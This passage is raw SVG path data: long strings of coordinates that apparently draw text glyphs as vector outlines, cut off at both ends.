18.3693C51.5206 18.3693 51.8572 18.4261 52.1896 18.5398C52.522 18.6534 52.8246 18.8381 53.0973 19.0938C53.37 19.3466 53.5874 19.6818 53.7493 20.0994C53.9112 20.517 53.9922 21.0312 53.9922 21.642V22.0682H48.9467V21.1989H52.9695C52.9695 20.8295 52.8956 20.5 52.7479 20.2102C52.603 19.9205 52.3956 19.6918 52.1257 19.5241C51.8587 19.3565 51.5433 19.2727 51.1797 19.2727C50.7791 19.2727 50.4325 19.3722 50.1399 19.571C49.8501 19.767 49.6271 20.0227 49.4709 20.3381C49.3146 20.6534 49.2365 20.9915 49.2365 21.3523V21.9318C49.2365 22.4261 49.3217 22.8452 49.4922 23.1889C49.6655 23.5298 49.9055 23.7898 50.2124 23.9688C50.5192 24.1449 50.8757 24.233 51.282 24.233C51.5462 24.233 51.7848 24.196 51.9979 24.1222C52.2138 24.0455 52.3999 23.9318 52.5561 23.7812C52.7124 23.6278 52.8331 23.4375 52.9183 23.2102L53.8899 23.483C53.7876 23.8125 53.6158 24.1023 53.3743 24.3523C53.1328 24.5994 52.8345 24.7926 52.4794 24.9318C52.1243 25.0682 51.7251 25.1364 51.282 25.1364ZM56.5277 21.0625V25H55.522V18.4545H56.4936V19.4773H56.5788C56.7322 19.1449 56.9652 18.8778 57.2777 18.6761C57.5902 18.4716 57.9936 18.3693 58.4879 18.3693C58.9311 18.3693 59.3189 18.4602 59.6513 18.642C59.9837 18.821 60.2422 19.0938 60.4268 19.4602C60.6115 19.8239 60.7038 20.2841 60.7038 20.8409V25H59.6982V20.9091C59.6982 20.3949 59.5646 19.9943 59.2976 19.7074C59.0305 19.4176 58.6641 19.2727 58.1982 19.2727C57.8771 19.2727 57.5902 19.3423 57.3374 19.4815C57.0874 19.6207 56.8899 19.8239 56.745 20.0909C56.6001 20.358 56.5277 20.6818 56.5277 21.0625ZM65.0131 25.1364C64.4677 25.1364 63.9862 24.9986 63.5685 24.723C63.1509 24.4446 62.8242 24.0526 62.5884 23.5469C62.3526 23.0384 62.2347 22.4375 62.2347 21.7443C62.2347 21.0568 62.3526 20.4602 62.5884 19.9545C62.8242 19.4489 63.1523 19.0582 63.5728 18.7827C63.9933 18.5071 64.479 18.3693 65.0302 18.3693C65.4563 18.3693 65.793 18.4403 66.0401 18.5824C66.2901 18.7216 66.4805 18.8807 66.6112 19.0597C66.7447 19.2358 66.8484 19.3807 66.9222 19.4943H67.0075V16.2727H68.0131V25H67.0415V23.9943H66.9222C66.8484 24.1136 66.7433 24.2642 66.6069 24.446C66.4705 24.625 66.2759 24.7855 66.0231 24.9276C65.7702 25.0668 65.4336 25.1364 65.0131 25.1364ZM65.1495 24.233C65.5529 24.233 65.8938 24.1278 66.1722 23.9176C66.4506 23.7045 66.6623 23.4105 66.8072 23.0355C66.9521 22.6577 67.0245 22.2216 67.0245 21.7273C67.0245 21.2386 66.9535 20.8111 66.8114 20.4446C66.6694 20.0753 66.4592 19.7884 66.1808 19.5838C65.9023 19.3764 65.5586 19.2727 65.1495 19.2727C64.7234 19.2727 64.3683 19.3821 64.0842 19.6009C63.8029 19.8168 63.5913 20.1108 63.4492 20.483C63.31 20.8523 63.2404 21.267 63.2404 21.7273C63.2404 22.1932 63.3114 22.6165 63.4535 22.9972C63.5984 23.375 63.8114 23.6761 64.0927 23.9006C64.3768 24.1222 64.729 24.233 65.1495 24.233ZM72.739 25.1364C72.1083 25.1364 71.5643 24.9972 71.1069 24.7188C70.6523 24.4375 70.3015 24.0455 70.0543 23.5426C69.81 23.0369 69.6879 22.4489 69.6879 21.7784C69.6879 21.108 69.81 20.517 70.0543 20.0057C70.3015 19.4915 70.6452 19.0909 71.0856 18.804C71.5288 18.5142 72.0458 18.3693 72.6367 18.3693C72.9776 18.3693 73.3143 18.4261 73.6467 18.5398C73.979 18.6534 74.2816 18.8381 74.5543 19.0938C74.8271 19.3466 75.0444 19.6818 75.2063 20.0994C75.3683 20.517 75.4492 21.0312 75.4492 21.642V22.0682H70.4038V21.1989H74.4265C74.4265 20.8295 74.3526 20.5 74.2049 20.2102C74.06 19.9205 73.8526 19.6918 73.5827 19.5241C73.3157 19.3565 73.0004 19.2727 72.6367 19.2727C72.2362 19.2727 71.8896 19.3722 71.5969 19.571C71.3072 19.767 71.0842 20.0227 70.9279 20.3381C70.7717 20.6534 70.6935 20.9915 70.6935 21.3523V21.9318C70.6935 22.4261 70.7788 22.8452 70.9492 23.1889C71.1225 23.5298 71.3626 23.7898 71.6694 23.9688C71.9762 24.1449 72.3327 24.233 72.739 24.233C73.0032 24.233 73.2418 24.196 73.4549 24.1222C73.6708 24.0455 73.8569 23.9318 74.0131 23.7812C74.1694 23.6278 74.2901 23.4375 74.3754 23.2102L75.3469 23.483C75.2447 23.8125 75.0728 24.1023 74.8313 24.3523C74.5898 24.5994 74.2915 24.7926 73.9364 24.9318C73.5813 25.0682 73.1822 25.1364 72.739 25.1364ZM77.9847 21.0625V25H76.979V18.4545H77.9506V19.4773H78.0359C78.1893 19.1449 78.4222 18.8778 78.7347 18.6761C79.0472 18.4716 79.4506 18.3693 79.945 18.3693C80.3881 18.3693 80.7759 18.4602 81.1083 18.642C81.4407 18.821 81.6992 19.0938 81.8839 19.4602C82.0685 19.8239 82.1609 20.2841 82.1609 20.8409V25H81.1552V20.9091C81.1552 20.3949 81.0217 19.9943 80.7546 19.7074C80.4876 19.4176 80.1211 19.2727 79.6552 19.2727C79.3342 19.2727 79.0472 19.3423 78.7944 19.4815C78.5444 19.6207 78.3469 19.8239 78.2021 20.0909C78.0572 20.358 77.9847 20.6818 77.9847 21.0625ZM86.6577 25.1364C86.044 25.1364 85.5156 24.9915 85.0724 24.7017C84.6293 24.4119 84.2884 24.0128 84.0497 23.5043C83.8111 22.9957 83.6918 22.4148 83.6918 21.7614C83.6918 21.0966 83.8139 20.5099 84.0582 20.0014C84.3054 19.4901 84.6491 19.0909 85.0895 18.804C85.5327 18.5142 86.0497 18.3693 86.6406 18.3693C87.1009 18.3693 87.5156 18.4545 87.8849 18.625C88.2543 18.7955 88.5568 19.0341 88.7926 19.3409C89.0284 19.6477 89.1747 20.0057 89.2315 20.4148H88.2259C88.1491 20.1165 87.9787 19.8523 87.7145 19.6222C87.4531 19.3892 87.1009 19.2727 86.6577 19.2727C86.2656 19.2727 85.9219 19.375 85.6264 19.5795C85.3338 19.7812 85.1051 20.0668 84.9403 20.4361C84.7784 20.8026 84.6974 21.233 84.6974 21.7273C84.6974 22.233 84.777 22.6733 84.9361 23.0483C85.098 23.4233 85.3253 23.7145 85.6179 23.9219C85.9134 24.1293 86.2599 24.233 86.6577 24.233C86.919 24.233 87.1562 24.1875 87.3693 24.0966C87.5824 24.0057 87.7628 23.875 87.9105 23.7045C88.0582 23.5341 88.1634 23.3295 88.2259 23.0909H89.2315C89.1747 23.4773 89.0341 23.8253 88.8097 24.1349C88.5881 24.4418 88.294 24.6861 87.9276 24.8679C87.5639 25.0469 87.1406 25.1364 86.6577 25.1364ZM93.446 25.1364C92.8153 25.1364 92.2713 24.9972 91.8139 24.7188C91.3594 24.4375 91.0085 24.0455 90.7614 23.5426C90.517 23.0369 90.3949 22.4489 90.3949 21.7784C90.3949 21.108 90.517 20.517 90.7614 20.0057C91.0085 19.4915 91.3523 19.0909 91.7926 18.804C92.2358 18.5142 92.7528 18.3693 93.3438 18.3693C93.6847 18.3693 94.0213 18.4261 94.3537 18.5398C94.6861 18.6534 94.9886 18.8381 95.2614 19.0938C95.5341 19.3466 95.7514 19.6818 95.9134 20.0994C96.0753 20.517 96.1562 21.0312 96.1562 21.642V22.0682H91.1108V21.1989H95.1335C95.1335 20.8295 95.0597 20.5 94.9119 20.2102C94.767 19.9205 94.5597 19.6918 94.2898 19.5241C94.0227 19.3565 93.7074 19.2727 93.3438 19.2727C92.9432 19.2727 92.5966 19.3722 92.304 19.571C92.0142 19.767 91.7912 20.0227 91.6349 20.3381C91.4787 20.6534 91.4006 20.9915 91.4006 21.3523V21.9318C91.4006 22.4261 91.4858 22.8452 91.6562 23.1889C91.8295 23.5298 92.0696 23.7898 92.3764 23.9688C92.6832 24.1449 93.0398 24.233 93.446 24.233C93.7102 24.233 93.9489 24.196 94.1619 24.1222C94.3778 24.0455 94.5639 23.9318 94.7202 23.7812C94.8764 23.6278 94.9972 23.4375 95.0824 23.2102L96.054 23.483C95.9517 23.8125 95.7798 24.1023 95.5384 24.3523C95.2969 24.5994 94.9986 24.7926 94.6435 24.9318C94.2884 25.0682 93.8892 25.1364 93.446 25.1364ZM99.1861 23.8068L99.1179 24.267C99.0696 24.5909 98.9957 24.9375 98.8963 25.3068C98.7997 25.6761 98.6989 26.0241 98.5938 26.3509C98.4886 26.6776 98.402 26.9375 98.3338 27.1307H97.5668C97.6037 26.9489 97.652 26.7088 97.7116 26.4105C97.7713 26.1122 97.831 25.7784 97.8906 25.4091C97.9531 25.0426 98.0043 24.6676 98.044 24.2841L98.0952 23.8068H99.1861ZM19.5795 43.1364C18.9659 43.1364 18.4375 42.9915 17.9943 42.7017C17.5511 42.4119 17.2102 42.0128 16.9716 41.5043C16.733 40.9957 16.6136 40.4148 16.6136 39.7614C16.6136 39.0966 16.7358 38.5099 16.9801 38.0014C17.2273 37.4901 17.571 37.0909 18.0114 36.804C18.4545 36.5142 18.9716 36.3693 19.5625 36.3693C20.0227 36.3693 20.4375 36.4545 20.8068 36.625C21.1761 36.7955 21.4787 37.0341 21.7145 37.3409C21.9503 37.6477 22.0966 38.0057 22.1534 38.4148H21.1477C21.071 38.1165 20.9006 37.8523 20.6364 37.6222C20.375 37.3892 20.0227 37.2727 19.5795 37.2727C19.1875 37.2727 18.8438 37.375 18.5483 37.5795C18.2557 37.7812 18.027 38.0668 17.8622 38.4361C17.7003 38.8026 17.6193 39.233 17.6193 39.7273C17.6193 40.233 17.6989 40.6733 17.858 41.0483C18.0199 41.4233 18.2472 41.7145 18.5398 41.9219C18.8352 42.1293 19.1818 42.233 19.5795 42.233C19.8409 42.233 20.0781 42.1875 20.2912 42.0966C20.5043 42.0057 20.6847 41.875 20.8324 41.7045C20.9801 41.5341 21.0852 41.3295 21.1477 41.0909H22.1534C22.0966 41.4773 21.956 41.8253 21.7315 42.1349C21.5099 42.4418 21.2159 42.6861 20.8494 42.8679C20.4858 43.0469 20.0625 43.1364 19.5795 43.1364ZM23.6236 43V36.4545H24.5952V37.4432H24.6634C24.7827 37.1193 24.9986 36.8565 25.3111 36.6548C25.6236 36.4531 25.9759 36.3523 26.3679 36.3523C26.4418 36.3523 26.5341 36.3537 26.6449 36.3565C26.7557 36.3594 26.8395 36.3636 26.8963 36.3693V37.392C26.8622 37.3835 26.7841 37.3707 26.6619 37.3537C26.5426 37.3338 26.4162 37.3239 26.2827 37.3239C25.9645 37.3239 25.6804 37.3906 25.4304 37.5241C25.1832 37.6548 24.9872 37.8366 24.8423 38.0696C24.7003 38.2997 24.6293 38.5625 24.6293 38.858V43H23.6236ZM30.6335 43.1364C30.0028 43.1364 29.4588 42.9972 29.0014 42.7188C28.5469 42.4375 28.196 42.0455 27.9489 41.5426C27.7045 41.0369 27.5824 40.4489 27.5824 39.7784C27.5824 39.108 27.7045 38.517 27.9489 38.0057C28.196 37.4915 28.5398 37.0909 28.9801 36.804C29.4233 36.5142 29.9403 36.3693 30.5312 36.3693C30.8722 36.3693 31.2088 36.4261 31.5412 36.5398C31.8736 36.6534 32.1761 36.8381 32.4489 37.0938C32.7216 37.3466 32.9389 37.6818 33.1009 38.0994C33.2628 38.517 33.3438 39.0312 33.3438 39.642V40.0682H28.2983V39.1989H32.321C32.321 38.8295 32.2472 38.5 32.0994 38.2102C31.9545 37.9205 31.7472 37.6918 31.4773 37.5241C31.2102 37.3565 30.8949 37.2727 30.5312 37.2727C30.1307 37.2727 29.7841 37.3722 29.4915 37.571C29.2017 37.767 28.9787 38.0227 28.8224 38.3381C28.6662 38.6534 28.5881 38.9915 28.5881 39.3523V39.9318C28.5881 40.4261 28.6733 40.8452 28.8438 41.1889C29.017 41.5298 29.2571 41.7898 29.5639 41.9688C29.8707 42.1449 30.2273 42.233 30.6335 42.233C30.8977 42.233 31.1364 42.196 31.3494 42.1222C31.5653 42.0455 31.7514 41.9318 31.9077 41.7812C32.0639 41.6278 32.1847 41.4375 32.2699 41.2102L33.2415 41.483C33.1392 41.8125 32.9673 42.1023 32.7259 42.3523C32.4844 42.5994 32.1861 42.7926 31.831 42.9318C31.4759 43.0682 31.0767 43.1364 30.6335 43.1364ZM36.7997 43.1534C36.3849 43.1534 36.0085 43.0753 35.6705 42.919C35.3324 42.7599 35.0639 42.5312 34.8651 42.233C34.6662 41.9318 34.5668 41.5682 34.5668 41.142C34.5668 40.767 34.6406 40.4631 34.7884 40.2301C34.9361 39.9943 35.1335 39.8097 35.3807 39.6761C35.6278 39.5426 35.9006 39.4432 36.1989 39.3778C36.5 39.3097 36.8026 39.2557 37.1065 39.2159C37.5043 39.1648 37.8267 39.1264 38.0739 39.1009C38.3239 39.0724 38.5057 39.0256 38.6193 38.9602C38.7358 38.8949 38.794 38.7812 38.794 38.6193V38.5852C38.794 38.1648 38.679 37.8381 38.4489 37.6051C38.2216 37.3722 37.8764 37.2557 37.4134 37.2557C36.9332 37.2557 36.5568 37.3608 36.2841 37.571C36.0114 37.7812 35.8196 38.0057 35.7088 38.2443L34.7543 37.9034C34.9247 37.5057 35.152 37.196 35.4361 36.9744C35.723 36.75 36.0355 36.5937 36.3736 36.5057C36.7145 36.4148 37.0497 36.3693 37.3793 36.3693C37.5895 36.3693 37.831 36.3949 38.1037 36.446C38.3793 36.4943 38.6449 36.5952 38.9006 36.7486C39.1591 36.902 39.3736 37.1335 39.544 37.4432C39.7145 37.7528 39.7997 38.1676 39.7997 38.6875V43H38.794V42.1136H38.7429C38.6747 42.2557 38.5611 42.4077 38.402 42.5696C38.2429 42.7315 38.0313 42.8693 37.767 42.983C37.5028 43.0966 37.1804 43.1534 36.7997 43.1534ZM36.9531 42.25C37.3509 42.25 37.6861 42.1719 37.9588 42.0156C38.2344 41.8594 38.4418 41.6577 38.581 41.4105C38.723 41.1634 38.794 40.9034 38.794 40.6307V39.7102C38.7514 39.7614 38.6577 39.8082 38.5128 39.8509C38.3707 39.8906 38.206 39.9261 38.0185 39.9574C37.8338 39.9858 37.6534 40.0114 37.4773 40.0341C37.304 40.054 37.1634 40.071 37.0554 40.0852C36.794 40.1193 36.5497 40.1747 36.3224 40.2514C36.098 40.3253 35.9162 40.4375 35.777 40.5881C35.6406 40.7358 35.5724 40.9375 35.5724 41.1932C35.5724 41.5426 35.7017 41.8068 35.9602 41.9858C36.2216 42.1619 36.5526 42.25 36.9531 42.25ZM44.4819 36.4545V37.3068H41.0898V36.4545H44.4819ZM42.0785 34.8864H43.0842V41.125C43.0842 41.4091 43.1254 41.6222 43.2077 41.7642C43.293 41.9034 43.4009 41.9972 43.5316 42.0455C43.6651 42.0909 43.8058 42.1136 43.9535 42.1136C44.0643 42.1136 44.1552 42.108 44.2262 42.0966C44.2972 42.0824 44.354 42.071 44.3967 42.0625L44.6012 42.9659C44.533 42.9915 44.4379 43.017 44.3157 43.0426C44.1935 43.071 44.0387 43.0852 43.8512 43.0852C43.5671 43.0852 43.2887 43.0241 43.016 42.902C42.7461 42.7798 42.5217 42.5938 42.3427 42.3438C42.1665 42.0938 42.0785 41.7784 42.0785 41.3977V34.8864ZM45.9947 43V36.4545H47.0004V43H45.9947ZM46.506 35.3636C46.31 35.3636 46.141 35.2969 45.9989 35.1634C45.8597 35.0298 45.7901 34.8693 45.7901 34.6818C45.7901 34.4943 45.8597 34.3338 45.9989 34.2003C46.141 34.0668 46.31 34 46.506 34C46.7021 34 46.8697 34.0668 47.0089 34.2003C47.1509 34.3338 47.2219 34.4943 47.2219 34.6818C47.2219 34.8693 47.1509 35.0298 47.0089 35.1634C46.8697 35.2969 46.7021 35.3636 46.506 35.3636ZM54.1946 36.4545L51.7741 43H50.7514L48.331 36.4545H49.4219L51.2287 41.6705H51.2969L53.1037 36.4545H54.1946ZM55.522 43V36.4545H56.5277V43H55.522ZM56.0334 35.3636C55.8374 35.3636 55.6683 35.2969 55.5263 35.1634C55.3871 35.0298 55.3175 34.8693 55.3175 34.6818C55.3175 34.4943 55.3871 34.3338 55.5263 34.2003C55.6683 34.0668 55.8374 34 56.0334 34C56.2294 34 56.397 34.0668 56.5362 34.2003C56.6783 34.3338 56.7493 34.4943 56.7493 34.6818C56.7493 34.8693 56.6783 35.0298 56.5362 35.1634C56.397 35.2969 56.2294 35.3636 56.0334 35.3636ZM61.2163 36.4545V37.3068H57.8242V36.4545H61.2163ZM58.8129 34.8864H59.8185V41.125C59.8185 41.4091 59.8597 41.6222 59.9421 41.7642C60.0273 41.9034 60.1353 41.9972 60.266 42.0455C60.3995 42.0909 60.5401 42.1136 60.6879 42.1136C60.7987 42.1136 60.8896 42.108 60.9606 42.0966C61.0316 42.0824 61.0884 42.071 61.131 42.0625L61.3356 42.9659C61.2674 42.9915 61.1722 43.017 61.0501 43.0426C60.9279 43.071 60.7731 43.0852 60.5856 43.0852C60.3015 43.0852 60.0231 43.0241 59.7504 42.902C59.4805 42.7798 59.256 42.5938 59.0771 42.3438C58.9009 42.0938 58.8129 41.7784 58.8129 41.3977V34.8864ZM63.3768 45.4545C63.2063 45.4545 63.0543 45.4403 62.9208 45.4119C62.7873 45.3864 62.695 45.3608 62.6438 45.3352L62.8995 44.4489C63.1438 44.5114 63.3597 44.5341 63.5472 44.517C63.7347 44.5 63.9009 44.4162 64.0458 44.2656C64.1935 44.1179 64.3285 43.8778 64.4506 43.5455L64.6381 43.0341L62.2177 36.4545H63.3086L65.1154 41.6705H65.1836L66.9904 36.4545H68.0813L65.3029 43.9545C65.1779 44.2926 65.0231 44.5724 64.8384 44.794C64.6538 45.0185 64.4393 45.1847 64.195 45.2926C63.9535 45.4006 63.6808 45.4545 63.3768 45.4545ZM70.4986 41.8068L70.4304 42.267C70.3821 42.5909 70.3082 42.9375 70.2088 43.3068C70.1122 43.6761 70.0114 44.0241 69.9062 44.3509C69.8011 44.6776 69.7145 44.9375 69.6463 45.1307H68.8793C68.9162 44.9489 68.9645 44.7088 69.0241 44.4105C69.0838 44.1122 69.1435 43.7784 69.2031 43.4091C69.2656 43.0426 69.3168 42.6676 69.3565 42.2841L69.4077 41.8068H70.4986ZM77.663 43.1534C77.2482 43.1534 76.8718 43.0753 76.5337 42.919C76.1957 42.7599 75.9272 42.5312 75.7283 42.233C75.5295 41.9318 75.43 41.5682 75.43 41.142C75.43 40.767 75.5039 40.4631 75.6516 40.2301C75.7994 39.9943 75.9968 39.8097 76.244 39.6761C76.4911 39.5426 76.7638 39.4432 77.0621 39.3778C77.3633 39.3097 77.6658 39.2557 77.9698 39.2159C78.3675 39.1648 78.69 39.1264 78.9371 39.1009C79.1871 39.0724 79.369 39.0256 79.4826 38.9602C79.5991 38.8949 79.6573 38.7812 79.6573 38.6193V38.5852C79.6573 38.1648 79.5423 37.8381 79.3121 37.6051C79.0849 37.3722 78.7397 37.2557 78.2766 37.2557C77.7965 37.2557 77.4201 37.3608 77.1474 37.571C76.8746 37.7812 76.6829 38.0057 76.5721 38.2443L75.6175 37.9034C75.788 37.5057 76.0153 37.196 76.2994 36.9744C76.5863 36.75 76.8988 36.5937 77.2369 36.5057C77.5778 36.4148 77.913 36.3693 78.2425 36.3693C78.4528 36.3693 78.6942 36.3949 78.967 36.446C79.2425 36.4943 79.5082 36.5952 79.7638 36.7486C80.0224 36.902 80.2369 37.1335 80.4073 37.4432C80.5778 37.7528 80.663 38.1676 80.663 38.6875V43H79.6573V42.1136H79.6062C79.538 42.2557 79.4244 42.4077 79.2653 42.5696C79.1062 42.7315 78.8945 42.8693 78.6303 42.983C78.3661 43.0966 78.0437 43.1534 77.663 43.1534ZM77.8164 42.25C78.2141 42.25 78.5494 42.1719 78.8221 42.0156C79.0977 41.8594 79.305 41.6577 79.4442 41.4105C79.5863 41.1634 79.6573 40.9034 79.6573 40.6307V39.7102C79.6147 39.7614 79.521 39.8082 79.3761 39.8509C79.234 39.8906 79.0692 39.9261 78.8817 39.9574C78.6971 39.9858 78.5167 40.0114 78.3406 40.0341C78.1673 40.054 78.0266 40.071 77.9187 40.0852C77.6573 40.1193 77.413 40.1747 77.1857 40.2514C76.9613 40.3253 76.7795 40.4375 76.6403 40.5881C76.5039 40.7358 76.4357 40.9375 76.4357 41.1932C76.4357 41.5426 76.565 41.8068 76.8235 41.9858C77.0849 42.1619 77.4158 42.25 77.8164 42.25ZM83.5043 39.0625V43H82.4986V36.4545H83.4702V37.4773H83.5554C83.7088 37.1449 83.9418 36.8778 84.2543 36.6761C84.5668 36.4716 84.9702 36.3693 85.4645 36.3693C85.9077 36.3693 86.2955 36.4602 86.6278 36.642C86.9602 36.821 87.2188 37.0938 87.4034 37.4602C87.5881 37.8239 87.6804 38.2841 87.6804 38.8409V43H86.6747V38.9091C86.6747 38.3949 86.5412 37.9943 86.2741 37.7074C86.0071 37.4176 85.6406 37.2727 85.1747 37.2727C84.8537 37.2727 84.5668 37.3423 84.3139 37.4815C84.0639 37.6207 83.8665 37.8239 83.7216 38.0909C83.5767 38.358 83.5043 38.6818 83.5043 39.0625ZM91.9897 43.1364C91.4442 43.1364 90.9627 42.9986 90.5451 42.723C90.1275 42.4446 89.8008 42.0526 89.565 41.5469C89.3292 41.0384 89.2113 40.4375 89.2113 39.7443C89.2113 39.0568 89.3292 38.4602 89.565 37.9545C89.8008 37.4489 90.1289 37.0582 90.5494 36.7827C90.9698 36.5071 91.4556 36.3693 92.0067 36.3693C92.4329 36.3693 92.7695 36.4403 93.0167 36.5824C93.2667 36.7216 93.457 36.8807 93.5877 37.0597C93.7212 37.2358 93.8249 37.3807 93.8988 37.4943H93.984V34.2727H94.9897V43H94.0181V41.9943H93.8988C93.8249 42.1136 93.7198 42.2642 93.5835 42.446C93.4471 42.625 93.2525 42.7855 92.9996 42.9276C92.7468 43.0668 92.4102 43.1364 91.9897 43.1364ZM92.1261 42.233C92.5295 42.233 92.8704 42.1278 93.1488 41.9176C93.4272 41.7045 93.6388 41.4105 93.7837 41.0355C93.9286 40.6577 94.0011 40.2216 94.0011 39.7273C94.0011 39.2386 93.93 38.8111 93.788 38.4446C93.646 38.0753 93.4357 37.7884 93.1573 37.5838C92.8789 37.3764 92.5352 37.2727 92.1261 37.2727C91.6999 37.2727 91.3448 37.3821 91.0607 37.6009C90.7795 37.8168 90.5678 38.1108 90.4258 38.483C90.2866 38.8523 90.217 39.267 90.217 39.7273C90.217 40.1932 90.288 40.6165 90.43 40.9972C90.5749 41.375 90.788 41.6761 91.0692 41.9006C91.3533 42.1222 91.7056 42.233 92.1261 42.233ZM103.193 36.4545V37.3068H99.8008V36.4545H103.193ZM100.789 34.8864H101.795V41.125C101.795 41.4091 101.836 41.6222 101.919 41.7642C102.004 41.9034 102.112 41.9972 102.243 42.0455C102.376 42.0909 102.517 42.1136 102.664 42.1136C102.775 42.1136 102.866 42.108 102.937 42.0966C103.008 42.0824 103.065 42.071 103.108 42.0625L103.312 42.9659C103.244 42.9915 103.149 43.017 103.027 43.0426C102.904 43.071 102.75 43.0852 102.562 43.0852C102.278 43.0852 102 43.0241 101.727 42.902C101.457 42.7798 101.233 42.5938 101.054 42.3438C100.877 42.0938 100.789 41.7784 100.789 41.3977V34.8864ZM105.852 39.0625V43H104.846V34.2727H105.852V37.4773H105.937C106.091 37.1392 106.321 36.8707 106.627 36.6719C106.937 36.4702 107.349 36.3693 107.863 36.3693C108.309 36.3693 108.7 36.4588 109.035 36.6378C109.37 36.8139 109.63 37.0852 109.815 37.4517C110.002 37.8153 110.096 38.2784 110.096 38.8409V43H109.091V38.9091C109.091 38.3892 108.956 37.9872 108.686 37.7031C108.419 37.4162 108.048 37.2727 107.574 37.2727C107.244 37.2727 106.949 37.3423 106.687 37.4815C106.429 37.6207 106.224 37.8239 106.074 38.0909C105.926 38.358 105.852 38.6818 105.852 39.0625ZM114.68 43.1364C114.05 43.1364 113.506 42.9972 113.048 42.7188C112.594 42.4375 112.243 42.0455 111.996 41.5426C111.751 41.0369 111.629 40.4489 111.629 39.7784C111.629 39.108 111.751 38.517 111.996 38.0057C112.243 37.4915 112.587 37.0909 113.027 36.804C113.47 36.5142 113.987 36.3693 114.578 36.3693C114.919 36.3693 115.256 36.4261 115.588 36.5398C115.92 36.6534 116.223 36.8381 116.496 37.0938C116.768 37.3466 116.986 37.6818 117.148 38.0994C117.31 38.517 117.391 39.0312 117.391 39.642V40.0682H112.345V39.1989H116.368C116.368 38.8295 116.294 38.5 116.146 38.2102C116.001 37.9205 115.794 37.6918 115.524 37.5241C115.257 37.3565 114.942 37.2727 114.578 37.2727C114.178 37.2727 113.831 37.3722 113.538 37.571C113.249 37.767 113.026 38.0227 112.869 38.3381C112.713 38.6534 112.635 38.9915 112.635 39.3523V39.9318C112.635 40.4261 112.72 40.8452 112.891 41.1889C113.064 41.5298 113.304 41.7898 113.611 41.9688C113.918 42.1449 114.274 42.233 114.68 42.233C114.945 42.233 115.183 42.196 115.396 42.1222C115.612 42.0455 115.798 41.9318 115.955 41.7812C116.111 41.6278 116.232 41.4375 116.317 41.2102L117.288 41.483C117.186 41.8125 117.014 42.1023 116.773 42.3523C116.531 42.5994 116.233 42.7926 115.878 42.9318C115.523 43.0682 115.124 43.1364 114.68 43.1364ZM125.142 36.4545V37.3068H121.75V36.4545H125.142ZM122.739 34.8864H123.744V41.125C123.744 41.4091 123.786 41.6222 123.868 41.7642C123.953 41.9034 124.061 41.9972 124.192 42.0455C124.325 42.0909 124.466 42.1136 124.614 42.1136C124.724 42.1136 124.815 42.108 124.886 42.0966C124.957 42.0824 125.014 42.071 125.057 42.0625L125.261 42.9659C125.193 42.9915 125.098 43.017 124.976 43.0426C124.854 43.071 124.699 43.0852 124.511 43.0852C124.227 43.0852 123.949 43.0241 123.676 42.902C123.406 42.7798 123.182 42.5938 123.003 42.3438C122.827 42.0938 122.739 41.7784 122.739 41.3977V34.8864ZM127.801 39.0625V43H126.795V34.2727H127.801V37.4773H127.886C128.04 37.1392 128.27 36.8707 128.577 36.6719C128.886 36.4702 129.298 36.3693 129.812 36.3693C130.259 36.3693 130.649 36.4588 130.984 36.6378C131.32 36.8139 131.58 37.0852 131.764 37.4517C131.952 37.8153 132.045 38.2784 132.045 38.8409V43H131.04V38.9091C131.04 38.3892 130.905 37.9872 130.635 37.7031C130.368 37.4162 129.997 37.2727 129.523 37.2727C129.193 37.2727 128.898 37.3423 128.636 37.4815C128.378 37.6207 128.173 37.8239 128.023 38.0909C127.875 38.358 127.801 38.6818 127.801 39.0625ZM133.885 43V36.4545H134.857V37.4432H134.925C135.044 37.1193 135.26 36.8565 135.573 36.6548C135.885 36.4531 136.238 36.3523 136.63 36.3523C136.703 36.3523 136.796 36.3537 136.907 36.3565C137.017 36.3594 137.101 36.3636 137.158 36.3693V37.392C137.124 37.3835 137.046 37.3707 136.924 37.3537C136.804 37.3338 136.678 37.3239 136.544 37.3239C136.226 37.3239 135.942 37.3906 135.692 37.5241C135.445 37.6548 135.249 37.8366 135.104 38.0696C134.962 38.2997 134.891 38.5625 134.891 38.858V43H133.885ZM138.35 43V36.4545H139.356V43H138.35ZM138.862 35.3636C138.665 35.3636 138.496 35.2969 138.354 35.1634C138.215 35.0298 138.146 34.8693 138.146 34.6818C138.146 34.4943 138.215 34.3338 138.354 34.2003C138.496 34.0668 138.665 34 138.862 34C139.058 34 139.225 34.0668 139.364 34.2003C139.506 34.3338 139.577 34.4943 139.577 34.6818C139.577 34.8693 139.506 35.0298 139.364 35.1634C139.225 35.2969 139.058 35.3636 138.862 35.3636ZM142.203 34.2727V43H141.198V34.2727H142.203ZM145.051 34.2727V43H144.045V34.2727H145.051ZM19.5795 61.1364C18.9886 61.1364 18.4702 60.9957 18.0241 60.7145C17.581 60.4332 17.2344 60.0398 16.9844 59.5341C16.7372 59.0284 16.6136 58.4375 16.6136 57.7614C16.6136 57.0795 16.7372 56.4844 16.9844 55.9759C17.2344 55.4673 17.581 55.0724 18.0241 54.7912C18.4702 54.5099 18.9886 54.3693 19.5795 54.3693C20.1705 54.3693 20.6875 54.5099 21.1307 54.7912C21.5767 55.0724 21.9233 55.4673 22.1705 55.9759C22.4205 56.4844 22.5455 57.0795 22.5455 57.7614C22.5455 58.4375 22.4205 59.0284 22.1705 59.5341C21.9233 60.0398 21.5767 60.4332 21.1307 60.7145C20.6875 60.9957 20.1705 61.1364 19.5795 61.1364ZM19.5795 60.233C20.0284 60.233 20.3977 60.1179 20.6875 59.8878C20.9773 59.6577 21.1918 59.3551 21.331 58.9801C21.4702 58.6051 21.5398 58.1989 21.5398 57.7614C21.5398 57.3239 21.4702 56.9162 21.331 56.5384C21.1918 56.1605 20.9773 55.8551 20.6875 55.6222C20.3977 55.3892 20.0284 55.2727 19.5795 55.2727C19.1307 55.2727 18.7614 55.3892 18.4716 55.6222C18.1818 55.8551 17.9673 56.1605 17.8281 56.5384C17.6889 56.9162 17.6193 57.3239 17.6193 57.7614C17.6193 58.1989 17.6889 58.6051 17.8281 58.9801C17.9673 59.3551 18.1818 59.6577 18.4716 59.8878C18.7614 60.1179 19.1307 60.233 19.5795 60.233ZM26.9954 54.4545V55.3068H23.467V54.4545H26.9954ZM24.5238 61V53.5511C24.5238 53.1761 24.6119 52.8636 24.788 52.6136C24.9641 52.3636 25.1928 52.1761 25.4741 52.0511C25.7553 51.9261 26.0522 51.8636 26.3647 51.8636C26.6119 51.8636 26.8136 51.8835 26.9698 51.9233C27.1261 51.9631 27.2425 52 27.3192 52.0341L27.0295 52.9034C26.9783 52.8864 26.9073 52.8651 26.8164 52.8395C26.7283 